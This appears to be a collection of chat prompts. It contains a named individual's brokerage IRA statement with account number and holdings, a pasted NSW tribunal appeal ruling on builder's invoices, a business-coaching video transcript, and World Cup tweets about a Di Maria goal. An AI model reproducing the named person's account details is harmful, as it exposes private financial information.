(OTEX) 0.21 563.16 19.000 33.5500 637.45 774.73 -137.28 18.47 2.900 OSHKOSH CORP (OSK) 0.43 1,146.47 13.000 100.7800 1,310.14 1,198.64 111.50 21.32 1.630 OVINTIV INC COM ISIN #US69047Q1022 SEDOL #BL3GRC2 (OVV) 0.22 688.74 13.802 49.2300 679.47 735.10 -55.63 13.80 2.030 PG&E CORP COM NPV (PCG) 0.27 861.78 53.000 15.9000 842.70 612.15 230.55 - - PNC FINANCIAL SERVICES GROUP COM USD5 (PNC) 0.66 1,786.61 12.112 165.4300 2,003.68 2,144.22 -140.54 72.67 3.630 PALO ALTO NETWORKS INC COM USD0.0001 (PANW) 0.33 811.84 6.360 158.6400 1,008.95 1,071.70 -62.75 - - MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 14 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) PAYPAL HLDGS INC COM (PYPL) 0.10 284.88 3.999 81.4900 325.87 348.53 -22.66 - - PENN ENTERTAINMENT INC COM (PENN) 0.19 495.12 16.281 35.4500 577.16 643.55 -66.39 - - PINDUODUO INC SPON ADS EACH REP 4 ORD SHS (PDD) 0.08 474.13 2.567 97.9800 251.51 124.15 127.36 - - PIONEER NATURAL RESOURCES CO COM USD0.01 (PXD) 0.15 456.78 2.000 230.3500 460.70 498.77 -38.07 6.10 1.320 PORTLAND GENERAL ELECTRIC CO (POR) 0.27 856.96 17.489 47.5800 832.12 884.81 -52.69 31.66 3.800 PROCTER AND GAMBLE CO COM (PG) 0.43 1,364.04 9.100 142.3800 1,295.65 1,378.67 -83.02 33.24 2.570 QUALCOMM INC (QCOM) 0.29 769.58 6.640 133.2100 884.51 1,006.67 -122.16 19.92 2.250 RH COM (RH) 0.17 517.54 1.677 311.9900 523.20 441.92 81.28 - - RAYMOND JAMES FINL INC COM (RJF) 0.35 812.27 9.433 112.7700 1,063.75 1,083.92 -20.17 15.85 1.490 RECKITT BENCKISER GROUP PLC SPON ADR EACH REP 0.20 ORD SHS (RBGLY) 0.28 872.09 61.296 14.2070 870.83 1,002.75 -131.92 23.45 2.690 REGAL REXNORD CORP COM STK USD0.01 (RRX) 0.39 943.76 8.634 139.2000 1,201.85 1,162.94 38.91 12.09 1.010 REGENERON PHARMACEUTICALS INC (REGN) 0.54 1,472.56 2.161 758.4700 1,639.05 1,323.93 315.12 - - RIVIAN AUTOMOTIVE INC COM CL A (RIVN) 0.06 165.87 10.016 19.4000 194.31 319.50 -125.19 - - ROCHE HOLDINGS ADR (RHHBY) 0.46 1,412.92 36.000 38.8100 1,397.16 1,566.07 -168.91 27.95 2.000 ROSS STORES INC (ROST) 0.36 1,086.41 9.360 118.1900 1,106.25 822.61 283.64 11.61 1.050 S&P GLOBAL INC COM (SPGI) 0.53 1,339.76 4.271 374.9400 1,601.36 1,559.71 41.65 15.38 0.960 MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 15 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) SALESFORCE INC COM (CRM) 0.25 641.73 4.620 167.9700 776.02 866.96 -90.94 - - SANOFI ADR REP 1 1/2 ORD (SNY) 0.57 1,307.61 35.310 49.1400 1,735.13 1,764.58 -29.45 61.68 3.550 SAP ADR REP 1 ORD (SAP) 0.19 515.95 5.000 118.5300 592.65 486.26 106.39 7.64 1.290 SEA LIMITED ADS EACH REP ONE CLASS A ORD SHS (SE) 0.12 312.12 5.999 64.4500 386.63 293.80 92.83 - - SHERWIN-WILLIAMS CO (SHW) 0.35 1,062.76 4.468 236.5900 1,057.08 1,115.35 -58.27 10.72 1.010 SHOCKWAVE MED INC COM (SWAV) 0.08 332.88 1.389 187.9300 261.03 360.20 -99.17 - - SIEMENS AG SPON ADR EACH REP 0.5 ORD SHS (SIEGY) 0.32 899.32 12.661 77.5980 982.46 748.41 234.05 21.17 2.150 SNAP INC CL A (SNAP) 0.38 832.35 100.817 11.5600 1,165.44 1,273.58 -108.14 - - SOUTHERN CO (SO) 0.50 1,613.00 22.588 67.6800 1,528.75 1,636.82 -108.07 61.44 4.020 SPECTRUM BRANDS HLDGS INC NEW COM (SPB) 0.25 731.04 11.420 67.8800 775.18 877.61 -102.43 19.19 2.480 STANLEY BLACK & DECKER INC (SWK) 0.18 486.62 6.278 89.3100 560.68 724.02 -163.34 20.09 3.580 SYNOPSYS INC (SNPS) 0.44 1,224.15 3.804 353.7500 1,345.66 1,252.32 93.34 - - SYSCO CORP (SYY) 0.11 305.80 4.403 77.4600 341.05 370.30 -29.25 8.63 2.530 TJX COMPANIES INC (TJX) 0.17 515.96 6.482 81.8600 530.61 407.89 122.72 7.65 1.440 TAIWAN SEMICONDUCTOR MANUFACTURING SPON ADS EACH REP 5 ORD TWD10 (TSM) 0.14 unavailable 4.680 92.7300 433.97 440.72 -6.75 6.73 1.550 TERADYNE INC COM USD0.125 (TER) 0.18 524.10 5.330 101.7000 542.06 538.83 3.23 2.35 0.430 MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 16 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) TESLA INC COM (TSLA) 0.62 1,238.32 10.883 173.2200 1,885.15 2,987.56 -1,102.41 - - THERMO FISHER SCIENTIFIC INC (TMO) 0.61 1,713.74 3.270 570.3300 1,864.97 1,886.45 -21.48 3.92 0.210 TOURMALINE OIL CORP COM ISIN #CA89156V1067 SEDOL #B3QJ0H8 (TRMLF) 0.14 422.89 9.451 46.4721 439.20 455.65 -16.45 - - TRAVELERS COMPANIES INC COM STK NPV (TRV) 0.25 749.96 4.000 191.1200 764.48 688.52 75.96 14.88 1.950 TRUIST FINL CORP COM (TFC) 0.23 516.36 14.440 49.3900 713.19 769.10 -55.91 30.04 4.210 TWILIO INC CL A (TWLO) 0.09 323.42 4.934 59.8400 295.25 428.11 -132.86 - - TYSON FOODS INC (TSN) 0.27 498.00 12.437 65.7500 817.73 1,011.15 -193.42 23.88 2.920 US BANCORP (USB) 0.18 402.17 11.474 49.8000 571.40 556.89 14.51 22.03 3.860 UBER TECHNOLOGIES INC COM (UBER) 0.43 1,038.66 42.547 30.9300 1,315.97 1,115.94 200.03 - - UNILEVER PLC SPON ADR NEW (UL) 0.16 503.50 9.999 51.1000 510.94 493.36 17.58 17.78 3.480 UNITED PARCEL SERVICE INC (UPS) 0.30 869.20 5.000 185.2300 926.15 1,006.33 -80.18 32.40 3.500 US FOODS HLDG CORP COM (USFD) 0.37 1,028.59 29.420 38.1300 1,121.78 1,009.29 112.49 - - UNITEDHEALTH GROUP INC (UNH) 2.05 6,362.16 12.370 499.1900 6,174.98 6,346.44 -171.46 81.64 1.320 VEEVA SYSTEMS INC (VEEV) 0.29 548.69 5.239 170.5500 893.51 942.87 -49.36 - - VERISK ANALYTICS INC COM (VRSK) 0.38 1,058.52 6.325 181.7900 1,149.82 1,182.25 -32.43 7.84 0.680 VERTEX PHARMACEUTICALS INC (VRTX) 0.53 1,443.90 5.000 323.1000 1,615.50 1,345.02 270.48 - - VERTIV HOLDINGS CO COM CL A (VRT) 0.09 331.00 20.922 14.2200 297.51 244.45 53.06 0.21 0.070 MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 17 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) VICTORIAS SECRET AND CO COMMON STOCK (VSCO) 0.07 unavailable 5.640 42.1500 237.72 224.90 12.82 - - VISA INC (V) 1.13 3,028.72 14.804 230.2100 3,408.02 3,141.20 266.82 26.65 0.780 WARNER MUSIC GROUP CORP COM CL A (WMG) 0.14 455.26 12.340 36.4500 449.79 400.91 48.88 7.90 1.760 WELLS FARGO CO NEW COM (WFC) 1.75 4,665.77 113.000 46.8700 5,296.31 5,305.35 -9.04 135.60 2.560 ZOETIS INC (ZTS) 0.66 1,558.26 12.010 165.4900 1,987.53 2,130.08 -142.55 18.02 0.910 Total Stocks 96.64% $271,705.01 $293,817.66 $290,793.61 $3,024.05 $3,890.23 Other Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Accrued Interest (AI) Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) AMERICAN TOWER CORP NEW COM (AMT) 0.44% $1,271.16 6.000 $223.3900 $1,340.34 - $1,581.50 -$241.16 $37.44 2.790% EXTRA SPACE STORAGE INC (EXR) 0.30 595.49 5.813 157.8300 917.46 - 895.82 21.64 34.88 3.800 PROLOGIS INC. COM (PLD) 0.47 1,214.66 11.091 129.2800 1,433.84 - 1,486.05 -52.21 35.05 2.440 SBA COMMUNICATIONS CORP NEW CL A (SBAC) 0.39 1,121.24 4.000 297.5300 1,190.12 - 1,070.89 119.23 11.36 0.950 SIMON PROPERTY GROUP INC (SPG) 0.12 352.44 3.000 128.4600 385.38 - 356.60 28.78 20.70 5.370 Total Other 1.72% $4,554.99 $5,267.14 $5,390.86 -$123.72 $139.43 Total Holdings 100%r $301,015.84 $296,184.47 $2,900.33 $4,055.33' -'This is part 7 of my multiple messages. I will continue to send you further messages. If you understand then please say "acknowledged".\n\nGround 5 – the award of damages in respect of the amount of the builder’s invoices\n\nThe Tribunal dealt with the builder’s invoices as follows (at [59]):\n\n…Mr Bannister provided a breakdown of costs, and I have received no break-down of costs to the contrary and he was not cross-examined in a way that causes me to reject his evidence. In the absence of any expert building evidence to the contrary, I make orders in accordance with the total contained therein. I award $29,601.69 in accordance with three invoices (Y1-Y3) for loss and damages in connection with the removal and replacement of the windows.\n\nThe appellant submitted that, in finding the appellant liable to the respondents for the amount of the three invoices from the builder, the Tribunal had:\n\nPlaced the onus of proof on the appellant in respect of proof of damage;\n\nFailed to take into account the contractual provisions regarding responsibility for waterproofing; and\n\nFailed to give adequate reasons for concluding that the work referred to in the invoices was work required in consequence of the appellant’s breach of contract, that is “work required in order to bring the work into conformity with the contract”.\n\nThe appellant submitted that the only evidence that the builder’s work, the subject of the invoices, had anything to do with the windows, was in the wording of the invoices themselves and in contemporaneous emails from Mr Bannister’s father, who had apparently prepared the invoices.\n\nThe appellant submitted:\n\nThe fact that the invoices provide some sort of ‘breakdown of costs’ does not mean that any of those costs were incurred as a result of BW’s breach of contract. The Tribunal made no attempt to analyse the content of the invoices in terms of BW’s contractual obligations.\n\nAlthough the Tribunal referred to the invoices as Y1-Y3, they were in fact identified as Annexures Y-7, Y-8, and Y-9. The three invoices were:\n\nAnnexure Y-7, in the amount of $10,908.70. The narration on this invoice described the work the subject of the invoice as “Remove existing defective windows, existing external blinds, cladding etc, and prepare openings for the new windows; Provide adequate flashing and install windows to openings. The invoice recorded that the work involved 68 hours of labour, and also included charges of $2,485 in respect of materials, the nature of which was not specified, and $250 for pump hire.\n\nAnnexure Y-8, in the amount of $10,007.39. The narration on this invoice described the work the subject of the invoice as “Continue installation of sheeting, cappings, moulding etc”. The labour involved was 83 hours over a period of about two weeks. The invoice also included a charge of $653.63 in respect of “materials” with no further detail.\n\nAnnexure Y-9, in the amount of $9,092.16. This invoice included two narrations describing the work the subject of the invoice. The first narration was “Complete remainder of external flashings, cappings, fix blinds, removal of scaffold” in respect of which 59 hours were charged. That narration was followed by a charge of $480 for unspecified materials. The second narration was “Relocated fan position, including blocking and support, relocating door handles to wet areas and patching”. The invoice included a further charge of $339 in respect of unspecified materials” and a second charge for labour of 14 hours. It was not clear from the invoice whether that labour related to the second narration as it appeared above the second narration.\n\nThe appellant acknowledged that the first invoice (Annexure Y-7 in the amount of $10,908.70) included the removal of existing windows and “prepare openings for the new windows” but submitted that “there is no breakdown in the invoice (or any other evidence) as to how many of the 68 hours [recorded on the invoice] was spent on these activities”.\n\nThe appellant submitted that “the cost of repairing or replacing cladding surrounding the window openings cannot have been the result of BW’s breach of contract”, and that there is no indication in the invoice as to how much labour was involved in this activity. The appellant noted that it cannot be inferred that the charge for pump hire resulted from any defect in the windows installed by the appellant.\n\nThe appellant submitted that the second invoice “on its face has nothing to do with replacing the BW windows with Wideline windows”.\n\nThe appellant submitted that the third invoice was dated 26 September, which was two and a half months after the last of the replacement windows had been installed. The appellant referred to evidence given by Mr Bannister that the reference to flashing in the invoices was a typographical error. The appellant further submitted that that there was “no evidence of any causative link” between the work identified in the invoice and a breach of contract by the appellant.\n\nThe appellant further submitted that, insofar as the Tribunal had held that Mr Bannister “was not cross-examined in a way that causes [the Tribunal] to reject his evidence” that was not to the point, as Mr Bannister had not given evidence drawing any connection between the invoices and the windows installed by the appellant.\n\nThe respondents submitted:\n\nNo evidence to counter the Respondents’ claim was tendered by the Appellant at the hearing at first instance or in this appeal to challenge the invoices, the scope of work of the builder or its relationship to any contractual obligations of the Appellant, whatever they may have been at the relevant time. The Member could only decide on the matters and evidence put before her and therefore this cannot be an error of law.\n\nFurther, the Appellant has not adduced any evidence to support its assertion that the Tribunal made no attempt to analyse the content of the invoices in terms of BW’s contractual obligations.\n\nThe Appellant’s legal representative had the opportunity to cross examine Jackson Bannister in relation to the invoices if the Appellant had concerns with these invoices. The Respondents submit that in such circumstances and in the absence of rebuttal evidence from the Appellant there is no error or law.\n\nIn reply, the appellant submitted that the appellant’s challenge to the award of the amount of the invoices was not on the basis of their quantum (amount) but rather on the basis that the work set out in the invoices was not the result of the appellant’s breach of contract; that is, it was not the cost of rectifying work for which the appellant was responsible and was not work required to achieve “conformity with the contract”.\n\nThe appellant submitted that, even though work which was clearly part of the rectification of the appellant’s work, such as removing the windows installed by the appellant, was included in the first invoice, “the respondents bore the onus of proof in respect of the necessary apportionment of the invoice” and noted that the Tribunal had not attempted any apportionment exercise.\n\nThe appellant further submitted that the installation of the new windows had been carried out by Wideline in accordance with its contract to “supply and install”. The appellant referred to an email from Mr Bannister’s father, Neil Bannister, dated 28 June 2019, which stated “so far our teams have not really assisted in the installation as there is not much to this work”.\n\nThe appellant finally submitted that it was impossible to tell from the invoices whether the work done by the builder was in consequence of the removal and reinstallation of windows in January 2019 or the removal of the appellant’s windows and the installation of the Wideline windows in June or July 2019. The appellant referred to the evidence of Mr Sibilia that “due to the extensive damage caused by the respondent in reinstalling the three replacement windows, building rectification work was required” and pointed out that clause 2(b) of the Deed made this damage the respondents’ responsibility.\n\nConsideration – Ground 5\n\nThe measure of damages for breach of contract is the amount required to put the innocent party into the position they would have been if the contract had been performed. In respect of defective building work, the measure of damages is the amount required to bring the work into conformity with the contract, provided that is a reasonable course to adopt: Bellgrove v Eldridge (1954) 90 CLR 613 at 617-618.\n\nThe onus of proving that measure of damages lies upon the party seeking to recover damages.\n\nWe consider that the Tribunal made an error of law in finding the appellant liable for the amount of the builder’s invoices. The Tribunal did not acknowledge that the onus of proving that the invoices reflected costs incurred by reason of the appellant’s breach of statutory warranties lay upon the respondents.\n\nThe invoices did not of themselves establish that they reflected such costs and Mr Sibilia’s, evidence, to which the appellant referred in its submissions in reply, suggested otherwise.\n\nAlthough the first invoice clearly includes the removal of the windows, it also includes other work and does not identify the cost of the work involved in removing the windows. As the appellant submitted, the onus of establishing the appropriate apportionment of that invoice lay upon the respondents.\n\nThe balance of the first invoice and the second and third invoices do not indicate how any of the work for which payment was claimed was related to the replacement of the defective windows.\n\nThere was no onus on the appellant to undertake cross-examination of Mr Bannister, the builder, to clarify the extent to which the invoices reflected work necessary to “bring the work into conformity with the contract”. Rather, the fact that the respondents did not lead evidence from Mr Bannister to clarify the content of his invoices, and to identify specifically what parts of the invoices related to work involved in the removal and replacement of the windows, gave rise to an inference that Mr Bannister’s evidence on that topic would not have assisted the respondents.\n\nAs Handley JA held in Commercial Union Assurance Company of Australia Ltd v Ferrcom Pty Ltd (1991) 11 NSWLR 389 at 418F-G:\n\n… I can see no reason why those principles [arising from Jones v Dunkel] should not apply when a party by failing to examine a witness in chief on some topic, indicates “as the most natural inference that the party fears to do so”. This fear is then “some evidence” that such examination in chief “would have exposed facts unfavourable to the party”: see Jones v Dunkel (at 320-321) per Windeyer J. Moreover in Ex parte Harper; Re Rosenfield [1964-5] NSWR 58 at 62, Asprey J, citing Marks v Thompson 1 NYS 2d 215 (1937) at 218, held that inferences could not be drawn in favour of a party that called a witness who could have given direct evidence when that party refrained from asking the crucial questions.\n\nMr Bannister’s affidavit addressed only the testing he had undertaken to assess whether the windows installed by the appellant were leaking. The entirety of his evidence in chief concerning the invoices was given in response to a question from Mr Stack, the respondents’ solicitor:\n\nMR STACK – Okay. Now, did you or someone on your behalf prepare a series of invoices for work performed and the dates of 27 June, 12 July, and 27 September 2019?\n\nMR BANNISTER – Yes.\n\nIn our view, it is clear that the evidence tendered by the respondents was not sufficient to establish that the work the subject of the invoices was work which was required to bring the work into conformity with the contract or to establish the value of the work which was such work. That conclusion is strengthened by the inference to be drawn by reason of the fact that Mr Bannister was called to give evidence and was not asked questions to establish that the work the subject of the invoices was related to the replacement of the windows.\n\nAccordingly, the Tribunal’s decision to the extent that it awards the respondents the amount of the invoices must be set aside. In light of that conclusion it is not necessary to deal with grounds 2 or 3, which, as we have noted above, were limited to a challenge to the award of the amount of the invoices.\n\nSections 80 and 81 of the Civil and Administrative Tribunal Act 2013 (NSW) permit the Appeal Panel to exercise all the functions of the Tribunal at first instance and to vary a decision rather than remitting it for further hearing.\n\nWe do not consider it appropriate to remit the matter to the Tribunal for re-determination, as it would not be appropriate to allow the parties to file further evidence on any remittal hearing and, in our view, the evidence which was before the Tribunal was clearly insufficient to establish any causal link between the defects in the windows installed by the appellant and the amounts charged by the builder in the three invoices. In those circumstances it is, in our view, appropriate to vary the judgment to exclude the amount of the three invoices, that is $29,601.69.' -"do the same for this one:\n\n(1) Business Builder Challenge Day 5 - How To Find What To Sell And Price It - YouTube\nhttps://www.youtube.com/watch?v=7yEWlVLEGeU\n\nTranscript:\n(00:00) welcome to day five the business builder challenge where we show you exactly how to create a high income high margin low work location independent alpha 2.0 business where you can make decent money location dependent without having to work too hard today we're going to cover your offer and your pricing so in the last video we talked about the six different areas in which you could choose to sell that item that will help people or companies achieve some kind of result so i'm assuming now you've picked\n(00:27) that already if you haven't that's okay but i'm assuming that you have or at least in terms of one of those six items there's one in your head you're like yeah i'd probably do that the next step is what exactly are you going to sell ebook course consulting service whatever and what problem is that going to solve for the customer this all revolves around the customer or client if you're doing business services or consulting you would call it a client if it's anything else in that list it\n(00:58) would be a customer doesn't matter but what is the problem that you're offering is going to help alleviate or solve with the customer or client because you start there hopefully you are niched you're talking about a very narrow niche a very narrow type of person or a very narrow type of company with a specific problem that you can help them with now the problem could be anything i don't know it could be anything from improving profitability to losing weight to getting laid to moving out of the\n(01:26) country these are a lot of topics i've either talked about or interested in the past that's why i'm using those topics but it could be anything really anything to think of it doesn't matter but those that's the first of two questions what is the problem it's trying to solve how is the condition of the customer going to be approved by them purchasing your information or your service start there if i'm your customer if i'm your client how is my condition going to improve and be as clear as you can not like\n(01:54) you'll be happier that's not very clear a better thing is you will increase profitability by 20 or so or you'll be able to schedule due dates on the calendar within three weeks of working with me or whatever it is try to quantify the actual improvement if you can't now you may say michaela this is a new business i've ever done this before i don't know then guess it's okay to guess as long as you're honest with prospects when you talk to them you can say look my guess based on my experience and my\n(02:23) knowledge is that i can get you an improvement that looks something like this i may not be exactly right because i am new but that's my guess and even if we only get 50 of that you will still improve so let's say you're going to be a consultant and you're going to help cut costs by 20 let's say let's say that's the number you've chosen if you go to a company and you save the owner or whoever's going to hire you look i could be wrong maybe i only save costs by 10 well that's a lot of money that's more\n(02:50) than worth your consulting fee and that leads into the second question how much is the improvement worth to the customer so if you come to me and you say caleb i'm gonna increase your sales by 20 that's worth a lot to me i would spend a lot of money on that because 20 for me is a lot of money so that means i'm happy to pay you a decent amount of money for that 20 percent now it doesn't have to be a financial thing again you can sell to individuals or you can sell the companies if you want to sell to individuals you could\n(03:22) use the example of one of my companies i teach dating advice for men and i show men how to get first dates with online dating and have non-monogamous relationships so i will say to them i can help you schedule first dates get first dates on the calendar and once you start dating new women i can show you how to date multiple women all at the same time and they all know you're dating other women and they continue to date you anyway without complaining about it that's one of the things i teach one of my companies how much money\n(03:46) is that worth that's worth a lot of money to men it's not a business thing is it there's no financial numbers attached that is there but it's such a cool result that i can charge a decent amount of money for men to buy my information to help them achieve that result make sense so those are two questions to start with in terms of your offer what is the improvement and how much is that improvement worth to your niche once you know those two things then you can go to the next step and figure out\n(04:12) how much it's going to cost what the pricing is if the improvement is significant and it's worth a lot to the niche then your price could be very high if your improvement is little or if your improvement is big but it's not deemed as very important to your niche then the price will have to be lower make sense the price is not based on what you are comfortable with most business owners charge under what they should be charging the price should be only based on value which means the value of the improvement you're giving the customer\n(04:41) or the client and that's it so if you're providing high value you can charge a lot of money there are ebooks that you can buy online for 300 and you may go what the hell why would i buy a book for 300 because they're highly highly niched and they're extremely valuable i bought an ebook once 20 years ago when the internet was new and ebooks were not even a thing i bought an ebook once for 200 it was 197 god caleb you're a why would you buy a book for 200 because it was a book on how to do cold\n(05:10) calls to get clients for your consulting business you see how niche that was and that's exactly what i was doing 20 years ago so i was happy to spend 200 on a book it's not like well the book is 40 pages so i guess i better charge two dollars for it no wrong incorrect there are online courses for a few videos that cost three thousand dollars there are there's only a few hours long but they cost three thousand because the value is so strong to that niche i knew a guy once who published a printed newsletter and it\n(05:41) only went out six times a year he would just bail it out six times a year and the subscription price for this newsletter like a little magazine was three thousand dollars a year now why was it so much because it was a very niche newsletter in the oil industry he was only targeting a very certain type of person in a very specific industry the oil industry so he was able to charge a lot of money because it was ditched and the value was very high so you don't charge based on the modality you charge based on the value it's\n(06:12) called value-based pricing it's extremely important that you don't under charge for what you're selling i don't want you to make that mistake and let's say you charge too much money you know what you cut your prices later it's not a big deal it really isn't it's harder to raise your prices later than to cut them later so i'd rather you start out on the high range of pricing based on the value and the value to the kleiner customer once again you are invited to the 90-day business\n(06:38) builder where we me personally and my staff work with you one-on-one and in small groups over a 12-week period with an accountability coach where we meet every week and we show you exactly what to do we hold your hand and take you through the exact process of setting up your alpha jupiter business from zero so you are making real money by the end of 12 weeks if not sooner than that guaranteed if you have any interest in that because it's the cheapest time we're doing is right now because every time we do this we raise the prices so\n(07:09) if you want in on this for as cheap as you can click the link below or wherever it is to schedule your consultation call you get all your questions answered we'll go through everything with you if it's not for you no problem if it is for you you could be making money in your own alpha 2.\n(07:25) 0 business like this in less than 12 weeks sometimes much less than 12 weeks even if you've never started business before because we're going to take you through the process step by step by step with an accountability coach who works with you every week you're going to work with me and my coaches every week you'll know everything what to do because we'll take you through the entire process it's an absolute no-brainer we do this for you with you if you have any interest click that link and schedule that call we only\n(07:50) take on a certain number of people at once because we can't have too many people in the sessions so once we're full we're full and if we do this again it's going to cost more money so if any interest on this click the link below to schedule your consultation call it might be with me me or one of my coaches depends who you get and i will see you in the next video have fun bye" -'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets, with a focus on the term "di maria"\n\nsourceText Time\nDi Maria scores the second goal for Argentina. 15:36:48.0000000\nArgentinaaaaaaaaaaa ???? What A GOAL!!!!!! Angel Di Maria you beautyyyyyy #FIFAWorldCup #ArgentinaVsFrance 15:36:41.0000000\n35\' GOAL ?\'\'Di Maria gets Argentina\'s second and France are torn apart on the counterattack!\'\'#ARG 2-0 #FRA \'\'#FIFAWorldCup | #Qatar2022 https://t.co/xQHVZ64vXA 15:36:57.0000000\n2-0 for Argentina what a Goal!! Di Maria 15:36:52.0000000\nSecond goal by Di Maria. Herhhh. Defending champions paaaaaaaaaa and they\'re suffering like this? ??\'#ArgentinaVsFrance 15:36:36.0000000\nDi Maria! What a goal from Argentina ????????\'\'Game over. 15:36:13.0000000\nDi Maria ayyyyyyy mannnnnnnnn what a goal #ArgentinaVsFrance #arg 15:36:41.0000000\nDi Maria Goal! But it\'s FIFA that scored as some will say ??????\'#Messi #ArgentinaVsFrance #FIFAWorldCup 15:36:49.0000000\nFantastic goal by Argentina, Di Maria very cool finish! #FIFAWorldCupFinal #ArgentinaVsFrance 15:36:59.0000000\nDi Maria deserves a goal.\'Brilliant! #ArgentinaVsFrance 15:36:44.0000000\nGr8 goal #messi & Di Maria off injury is the difference! https://t.co/ScHjETYn4K 15:34:47.0000000\nDi maria, what a goal from argentina there. Taking the baguettes apart crumb by crumb. 15:36:14.0000000\nBrilliant goal, Di Maria is that guy for Argentina 15:36:25.0000000\nBeautiful goal Di Maria #ArgentinaVsFrance #WorldCup 15:36:38.0000000\nWhat a counter attacking goal. \'\'Di Maria...#ArgentinaVsFrance 15:36:44.0000000\n#ARGFRA DI MARIAAAAAAAAAAAAAAAAAAAAAAA WHAT A FUCKING GOAL THAT WAS 15:36:18.0000000\nThat flick by Messi for the Di Maria goal, a thing of beauty #ArgentinaVsFrance #WorldCupFinal #Qatar2022 15:36:25.0000000\nARGENTINA GOAL: Argentina catch France on the counter and Di Maria doubles the former’s advantage.\'\'#ARG 2-0 #FRA #ARGFRA #WorldCupFinal 15:36:37.0000000\nThat Di Maria goal is pretty special. #ArgentinaVsFrance #WorldCup 15:36:48.0000000\nDi Mariaaaaaaaa!!!!!!!!!! What a goal ! #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nThat is just brilliant from Argentina 2-0 #ArgentinaVsFrance #Qatar2022 terrific team goal. Starting Di Maria a genius move 15:36:57.0000000\nGoal for Di Maria. 2-0 #ArgentinaVsFrance #FIFAWorldCup 15:36:36.0000000\nWhat is going on with France ????, they play so bad. Good goal of Di Maria 15:36:21.0000000\nWhat a Goal De Maria ?????????\'2-0 ??\'#Arg\'#WorldCupFinal 15:36:34.0000000\nDi Maria who won the penalty scores second goal on the break for Argentina 15:36:43.0000000\nWell that DI MARIA goal is much more worthy. VAMOS ARGENTINA 15:36:43.0000000\n36’ GOAL! DI MARIA ON THE COUNTER ATTACK! #FIFAWorldCup\'\'Argentina 2-0 France 15:36:00.0000000\nArgentina scores from a counter, what a goal ! \'\'Di Maria scores\'\'2 - 0 15:36:55.0000000\nDI MARIA WHAT A GOAL ( I still fucking hate Argentina 15:36:23.0000000\nIdk looks like Argentina is just better so far. It’s not even just Messi! What a goal from De Maria!! Amazing teamwork that started from the back and led to a goal 15:36:51.0000000\nWhat a counter and goal. Di Maria make it 2-0 wow! #WorldCupFinal 15:36:32.0000000\nWhat a goal on the counter that is! Argentina have been so good here! Brilliant from Mac Allister and what a finish from Di Maria! ?? #ARGFRA #FIFAWorldCup 15:36:56.0000000\nThis Di Maria goal was like a wonderfully written poem .\'\'#ARGFRA 15:36:33.0000000\nDi maria scored. Argentina leading by 2 goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nGoal Argentina\'\'What a build up\'Di Maria gets Argentina\'s second\'Arg 2-0 FRA\'#FIFAWorldCup 15:36:57.0000000\nWhat a goal, Argentina is all over em. 2-1. Di Maria’s involvement this game has been magical. 15:35:58.0000000\nArgentina 2-0. Di Maria. A magnificent goal on the break. 15:35:45.0000000\nDI MARIA! GOAL! FRANCE IS COOKED! 15:36:02.0000000\nBrilliant Argentina goal that 2-0 Di Maria\'\'One touch. Macalister running the game 15:36:30.0000000\nANGEL DI MARIA!!!!!!!! WHAT ABTEAM GOAL THAT WAS, 2-0 ARGENTINA!!!!!! 15:36:18.0000000\nArgentina properly blowing France away, Angel di Maria has been the best player on the pitch by miles and he’s deservedly got a goal to show for it. 2-0 Argentina 15:36:59.0000000\nArgentina looking like they want it more. Great goal Di Maria 15:36:11.0000000\nArgentina scores their first goal in 2022 world cup final. Di Maria?? 15:36:28.0000000\n2-0 ARGENTINA!!!!! DI MARIA!!!!! WONDERFUL TEAM GOAL!!!! 15:36:02.0000000\nGoal for Argentina ??\'Argentina 2:0 France ????\'??36’ Di Maria \'\'#EIBQATAR2022 https://t.co/kNI4ODuxg6 15:36:39.0000000\nWhat a lovely goal from Argentina and, they are going to steamroller France at this rate. \'\'Di Maria has had a tremendous first half and should get the Man of the Match award. 15:36:53.0000000\nDi Maria bags his another goal for Argentina. France are being ripped apart here 15:36:12.0000000\nDi Maria scores the 2nd goal for Argentina.???? France have not turned up in this first half at all.???? #Qatar2022 #ARGFRA 15:36:50.0000000\nMagnificent goal Argentina. Sweeping and brilliant counter attack finished by Di Maria. Assist for Brighton\'s Mac Allister 15:36:50.0000000\n35\' GOAL! #ARG 2-0 #FRA \'\'Angel Di Maria finishes off a glorious counter-attack to double Argentina\'s lead! #FIFAWorldCup 15:36:51.0000000\nThat was a just goal! Di Maria is really good right now #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nWow what a goal. 2-0, Di Maria and game over imo cos France are shite so far. Need a response before half 